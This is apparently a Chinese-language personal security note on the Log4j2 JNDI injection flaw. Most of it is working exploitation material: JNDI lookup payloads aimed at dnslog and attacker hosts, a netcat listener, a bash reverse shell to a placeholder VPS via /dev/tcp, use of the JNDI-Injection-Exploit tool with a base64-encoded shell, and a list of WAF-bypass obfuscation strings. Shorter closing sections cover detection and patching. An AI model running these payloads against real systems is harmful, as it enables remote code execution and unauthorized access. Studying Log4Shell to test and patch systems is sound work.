漏洞简介

Bypass

${j${lower:n}di:l${lower:d}ap://xxx.dnslog.cn/exp}

  1. <a name="wlXj4"></a>
  2. ### RCE
  3. - 首先Netcat监听端口
  4. ```bash
  5. $ nc -lvnp <Port>

触发: 通过cmd参数传递命令

${jndi:ldap://:/TomcatBypass/TomcatEcho}

反弹Shell

/bin/bash -c ‘bash -i >& /dev/tcp// 0>&1’

  1. ![image.png](https://cdn.nlark.com/yuque/0/2021/png/520228/1640328740150-b46b2616-559f-454b-91d4-4a7fecc5ef4b.png#clientId=u05ae9a39-039d-4&crop=0&crop=0&crop=1&crop=1&from=paste&height=191&id=u9e349f54&margin=%5Bobject%20Object%5D&name=image.png&originHeight=382&originWidth=1177&originalType=binary&ratio=1&rotation=0&showTitle=false&size=67708&status=done&style=none&taskId=uc6868db8-272d-4197-9a1e-c78466101dd&title=&width=588.5)<br />![image.png](https://cdn.nlark.com/yuque/0/2021/png/520228/1640328929299-515d1639-90e4-40c3-a77a-03c72fae9722.png#clientId=u05ae9a39-039d-4&crop=0&crop=0&crop=1&crop=1&from=paste&height=355&id=u5558c827&margin=%5Bobject%20Object%5D&name=image.png&originHeight=710&originWidth=911&originalType=binary&ratio=1&rotation=0&showTitle=false&size=121325&status=done&style=none&taskId=ua3f33b65-4264-463f-975d-9f386d8e017&title=&width=455.5)
  2. - 工具2:[https://github.com/welk1n/JNDI-Injection-Exploit](https://github.com/welk1n/JNDI-Injection-Exploit)
  3. - 这个没反弹成功,不知道什么原因
  4. ```bash
  5. # bash -i >& /dev/tcp/<VPS_IP>/<Port> 0>&1 # Base64编码
  6. $ java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo, <上面Base64编码得到的字符串>}|{base64,-d}|{bash,-i}" -A "<VPS_IP>"
  7. # 触发
  8. ${jndi:rmi://<IP>:<Port>/xxxxxx

image.png
image.png

Bypass

  1. <a name="XSIS9"></a>
  2. ### Bypass RC1
  3. ```bash
  4. ${jndi:ldap://127.0.0.1:1389/ badClassName}

Bypass WAF

  1. ${${::-j}${::-n}${::-d}${::-i}:${::-r}${::-m}${::-i}://asdasd.asdasd.asdasd/poc}
  2. ${${::-j}ndi:rmi://asdasd.asdasd.asdasd/ass}
  3. ${jndi:rmi://adsasd.asdasd.asdasd}
  4. ${${lower:jndi}:${lower:rmi}://adsasd.asdasd.asdasd/poc}
  5. ${${lower:${lower:jndi}}:${lower:rmi}://adsasd.asdasd.asdasd/poc}
  6. ${${lower:j}${lower:n}${lower:d}i:${lower:rmi}://adsasd.asdasd.asdasd/poc}
  7. ${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:r}m${lower:i}}://xxxxxxx.xx/poc}

Trick

  • 一些情况下请求头X-Api-Version字段存在漏洞,利用方法一样。这个弹不到Shell,但是有请求记录

image.png

其它

本地环境

$ java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C “open /System/Applications/Calculator.app” -A 127.0.0.1

  1. ```java
  2. import org.apache.logging.log4j.LogManager;
  3. import org.apache.logging.log4j.Logger;
  4. public class log4j {
  5. private static final Logger logger = LogManager.getLogger(log4j.class);
  6. public static void main(String[] args) {
  7. System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "true");
  8. logger.error("${jndi:ldap://127.0.0.1:1389/xxx}");
  9. }
  10. }

image.png

  • pom.xml ```xml <?xml version=”1.0” encoding=”UTF-8”?> <project xmlns=”http://maven.apache.org/POM/4.0.0

    1. xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
    2. xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
    4.0.0

    org.example log4j-rce

    1.0-SNAPSHOT org.apache.logging.log4j log4j-core 2.14.1 org.apache.logging.log4j log4j-api 2.14.1

  1. <a name="LkZ0y"></a>
  2. ### 本地检测
  3. - Log4j2漏洞检测工具:[https://log4j2-detector.chaitin.cn/](https://log4j2-detector.chaitin.cn/)
  4. <a name="mrlbC"></a>
  5. ### 修复方案
  6. 1. 临时性缓解措施(任选一种,但是注意,只有 >=2.10.0 版本才可以用,老版本不支持这个选项)
  7. - 在 jvm 参数中添加 `-Dlog4j2.formatMsgNoLookups=true`
  8. - 系统环境变量中将`LOG4J_FORMAT_MSG_NO_LOOKUPS` 设置为 `true`
  9. - 创建 `log4j2.component.properties `文件,文件中增加配置 `log4j2.formatMsgNoLookups=true`
  10. 2. 彻底修复漏洞:
  11. - 研发环境修复:升级到官方提供的 [log4j-2.15.0-rc2](https://github.com/apache/logging-log4j2/releases/tag/log4j-2.15.0-rc2) 版本
  12. - 生产环境修复:[https://github.com/zhangyoufu/log4j2-without-jndi](https://github.com/zhangyoufu/log4j2-without-jndi) 由长亭工程师提供的删除了 JndiLookup.class 的对应版本直接替换重启即可。
  13. - 如果不放心网上下载的版本,也可以自己手动解压删除,删除jar包里的这个漏洞相关的class,然后重启服务即可:
  14. ```bash
  15. $ zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class
  1. 找长亭技术支持工程师获取虚拟补丁或者使用牧云直接检测。